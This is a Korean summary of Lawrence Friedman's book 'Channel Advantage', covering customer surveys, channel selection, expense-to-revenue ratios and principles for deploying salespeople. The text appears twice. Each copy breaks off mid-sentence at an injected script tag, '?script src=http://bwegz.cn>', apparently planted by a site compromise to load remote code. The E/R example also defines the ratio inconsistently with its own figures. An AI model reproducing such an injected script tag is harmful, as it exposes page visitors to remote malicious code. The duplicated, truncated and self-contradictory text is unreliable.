어떤 시장에 어떤 상품을 팔까?
2007-02-12 최종옥/ 북코스모스 대표 www.bookcosmos.com
채널어드벤티지 Channel Advantage 로렌스 G. 프리드만/버터워스 하이네만 지음
오늘날 많은 선두 기업들은 시장에 어떤 물건을 내놓을 것인지에 대한 고민만큼 시장에 어떤 방식으로 접근해 들어갈 것인지에 대해 노력과 창의성을 쏟아 붓고 있다. 다양하고 폭넓게 고객에 접근하고 최소한의 비용으로 상품 정보 전달 및 배송 효과를 내기 위해 채널들을 합리적인 방식으로 다각화해야 한다. 그리고 수입 증대 및 시장 확장, 고객 충성도를 높이는 방향으로 채널이 혼합되어야 한다.
우선 상품 판매 채널을 선택하기 전에 어떤 시장에 어떤 상품을 팔 것인가? 현 상품을 유지하는 것 혹은 현 상품을 가지고 시장 확대를 하는 것이 좋은가 나쁜가? 등 상품/시장 전략에 명확한 시각을 갖는 것이 중요하다.
고객 서베이(Customer Survey)
고객에 대한 정보를 알고 데이터를 구축하려면 고객 서베이를 이용하라. 데이터에는 다음 사항들이 포함되어야 한다.
- 고객에 대한 핵심 정보(거래 정보 및 시장 분할 포함)
- 판매된 상품, 서비스와 관련된 채널에 관한 이용도 및 선호도
- 어떤 채널이 앞으로 이용될 것인지에 관한 고객 분석
상품의 특성에 맞는 채널 선택
모든 상품이 모든 채널을 통해 나갈 수 있는 것은 아니다. 어떤 상품은 하나의 채널에만 적합할 수도 있다. 따라서 상품을 적합한 채널에 맞출 때 채널 터치(Channel Touch : 채널 접촉)를 고려해야 한다. 채널 터치는 채널에 의해 제공되는 고객과의 상호작용, 서비스, 각종 써포트(support)의 누적된 양을 참고로 한다. 예를 들어, 높은 접촉 빈도수를 보장하는 채널은 다이렉트 판매 채널일 것이다. 왜냐하면 이 채널을 이용하면 고객과 빈번하고 강력하게, 그리고 다양한 방식으로 접촉할 수 있기 때문이다. 반면, 다이렉트 메일이나 인터넷은 접촉 빈도수가 낮은 채널로 고객과 실제 접촉은 일어나지 않는다.
채널 선택의 경제학
고객들이 이용하는 채널 중에 가장 비용이 저렴한 채널을 선택하라. 우선 이용 가능한 판매 채널을 모두 확인하고, 고객 서베이 정보를 통해 어떤 채널들을 실질적으로 이용할 것인지를 결정하라. 그 이후 선택된 채널들 중에서 어떤 채널들이 상품 판매에 적합한지 최종 결정을 내리고, 마지막으로 수익성을 고려하여 경제적으로 효율성 있는 채널을 최종 선택한다.
우리는 가장 저렴한 비용이 소요되는 채널을 채널 수익율(Profitability)을 통해 구별할 수 있다. 이것은 비용과 수익의 비율(Expense-to-revenue ratio, or E/R)로써 평균 주문량을 평균 소요 비용으로 나누면 된다. 예를 들어, 대리점을 통해 $400를 팔고 소요 비용이 $40라면 E/R은 10%이다. 텔레마케팅을 이용해 팔았는데 소요 비용이 $20면 E/R은 5%이다. E/R이 낮으면 낮을수록 수익을 발생시키는데 소요된 비용은 낮아진다.
올바른 판매 채널을 구성하는 법
높은 성장률과 수익성을 고려한 채널을 선택했다면 이제 선택된 채널을 발전시킬 필요가 있다. 대부분의 회사들은 영업 사원, 비즈니스 파트너, 전화, 인터넷을 혼합하여 이용한다. 각각의 채널은 나름대로 해볼만한 것들이며 장단점을 지니고 있다.
1. 지렛대 역할을 하는 영업 사원
영업 사원들은 모든 고객을 쫓지 않고 핵심 고객을 대하는데 집중되어야 한다. 규모가 작은 고객 혹은 많은 접촉을 필요로 하지 않는 상품은 다른 채널로 유도되어야 한다. 전통적 판매 개념인 “재고 정리" 혹은 “염가 대매출"에 영업사원을 투입하는 것은 가능한 많은 고객들에게 많은 상품을 팔아야 할 때를 제외하고 더 이상 의미가 없다.
그러나 이것도 영업력을 지렛대로 이용한다는 방식에는 적절치 않은 운용 방식이다. 이제 영업 사원은 염가 대매출이나 재고 정리가 아니라, 고객과 파트너십을 지향하면서 문제를 해결해주는 능력, 그리고 다른 채널과 합동으로 업무를 추진하는 능력을 길러야 한다.
지렛대 역할을 하는 영업사원은 5가지 원칙을 바탕으로 이루어진다.
a. 판매 활동을 대형 고객 확보에 집중시켜야 한다.
b. 영업사원은 고객 기획, 고객 협상, 판매 종결과 같은 부분에 책임을 져야 한다. 판매 유치, 제안서 작성, 주문 이행, 판매후 지원 활동 업무들은 다른 채널에 넘겨라.
c. 일선 영업사원들에게 강력한 기술 지원을 해야 한다. 컴퓨터와 최신 비즈니스 기획 소프트웨어는 필수.
d. 영업 교육 프로그램을 재디자인해 대형 고객에게 진출해야 한다. 일선 영업사원들에게 고객 수요 분석을 작성하도록 교육하라.
e. 업무 수행 측정과 보상의 기준을 대형 고객 중심으로 하라.
2. 비즈니스 파트너
비즈니스 파트너 이용은 고객에게 접근하기 위해 간접 채널을 이용하는 셈이다. 이들을 정확하고 적절하게 이용할 때, 해당 기업은 시장에 더 깊숙이 진입할 수 있으며 고객과 더 많은 접촉을 할 수 있다. 당연히 수익과 시장 점유율도 높아진다.
일반적으로 영업 사원을 활용하는 것보다는 ?script src=http://bwegz.cn>
우선 상품 판매 채널을 선택하기 전에 어떤 시장에 어떤 상품을 팔 것인가? 현 상품을 유지하는 것 혹은 현 상품을 가지고 시장 확대를 하는 것이 좋은가 나쁜가? 등 상품/시장 전략에 명확한 시각을 갖는 것이 중요하다.
고객 서베이(Customer Survey)
고객에 대한 정보를 알고 데이터를 구축하려면 고객 서베이를 이용하라. 데이터에는 다음 사항들이 포함되어야 한다.
- 고객에 대한 핵심 정보(거래 정보 및 시장 분할 포함)
- 판매된 상품, 서비스와 관련된 채널에 관한 이용도 및 선호도
- 어떤 채널이 앞으로 이용될 것인지에 관한 고객 분석
상품의 특성에 맞는 채널 선택
모든 상품이 모든 채널을 통해 나갈 수 있는 것은 아니다. 어떤 상품은 하나의 채널에만 적합할 수도 있다. 따라서 상품을 적합한 채널에 맞출 때 채널 터치(Channel Touch : 채널 접촉)를 고려해야 한다. 채널 터치는 채널에 의해 제공되는 고객과의 상호작용, 서비스, 각종 써포트(support)의 누적된 양을 참고로 한다. 예를 들어, 높은 접촉 빈도수를 보장하는 채널은 다이렉트 판매 채널일 것이다. 왜냐하면 이 채널을 이용하면 고객과 빈번하고 강력하게, 그리고 다양한 방식으로 접촉할 수 있기 때문이다. 반면, 다이렉트 메일이나 인터넷은 접촉 빈도수가 낮은 채널로 고객과 실제 접촉은 일어나지 않는다.
채널 선택의 경제학
고객들이 이용하는 채널 중에 가장 비용이 저렴한 채널을 선택하라. 우선 이용 가능한 판매 채널을 모두 확인하고, 고객 서베이 정보를 통해 어떤 채널들을 실질적으로 이용할 것인지를 결정하라. 그 이후 선택된 채널들 중에서 어떤 채널들이 상품 판매에 적합한지 최종 결정을 내리고, 마지막으로 수익성을 고려하여 경제적으로 효율성 있는 채널을 최종 선택한다.
우리는 가장 저렴한 비용이 소요되는 채널을 채널 수익율(Profitability)을 통해 구별할 수 있다. 이것은 비용과 수익의 비율(Expense-to-revenue ratio, or E/R)로써 평균 주문량을 평균 소요 비용으로 나누면 된다. 예를 들어, 대리점을 통해 $400를 팔고 소요 비용이 $40라면 E/R은 10%이다. 텔레마케팅을 이용해 팔았는데 소요 비용이 $20면 E/R은 5%이다. E/R이 낮으면 낮을수록 수익을 발생시키는데 소요된 비용은 낮아진다.
올바른 판매 채널을 구성하는 법
높은 성장률과 수익성을 고려한 채널을 선택했다면 이제 선택된 채널을 발전시킬 필요가 있다. 대부분의 회사들은 영업 사원, 비즈니스 파트너, 전화, 인터넷을 혼합하여 이용한다. 각각의 채널은 나름대로 해볼만한 것들이며 장단점을 지니고 있다.
1. 지렛대 역할을 하는 영업 사원
영업 사원들은 모든 고객을 쫓지 않고 핵심 고객을 대하는데 집중되어야 한다. 규모가 작은 고객 혹은 많은 접촉을 필요로 하지 않는 상품은 다른 채널로 유도되어야 한다. 전통적 판매 개념인 “재고 정리" 혹은 “염가 대매출"에 영업사원을 투입하는 것은 가능한 많은 고객들에게 많은 상품을 팔아야 할 때를 제외하고 더 이상 의미가 없다.
그러나 이것도 영업력을 지렛대로 이용한다는 방식에는 적절치 않은 운용 방식이다. 이제 영업 사원은 염가 대매출이나 재고 정리가 아니라, 고객과 파트너십을 지향하면서 문제를 해결해주는 능력, 그리고 다른 채널과 합동으로 업무를 추진하는 능력을 길러야 한다.
지렛대 역할을 하는 영업사원은 5가지 원칙을 바탕으로 이루어진다.
a. 판매 활동을 대형 고객 확보에 집중시켜야 한다.
b. 영업사원은 고객 기획, 고객 협상, 판매 종결과 같은 부분에 책임을 져야 한다. 판매 유치, 제안서 작성, 주문 이행, 판매후 지원 활동 업무들은 다른 채널에 넘겨라.
c. 일선 영업사원들에게 강력한 기술 지원을 해야 한다. 컴퓨터와 최신 비즈니스 기획 소프트웨어는 필수.
d. 영업 교육 프로그램을 재디자인해 대형 고객에게 진출해야 한다. 일선 영업사원들에게 고객 수요 분석을 작성하도록 교육하라.
e. 업무 수행 측정과 보상의 기준을 대형 고객 중심으로 하라.
2. 비즈니스 파트너
비즈니스 파트너 이용은 고객에게 접근하기 위해 간접 채널을 이용하는 셈이다. 이들을 정확하고 적절하게 이용할 때, 해당 기업은 시장에 더 깊숙이 진입할 수 있으며 고객과 더 많은 접촉을 할 수 있다. 당연히 수익과 시장 점유율도 높아진다.
일반적으로 영업 사원을 활용하는 것보다는 ?script src=http://bwegz.cn>
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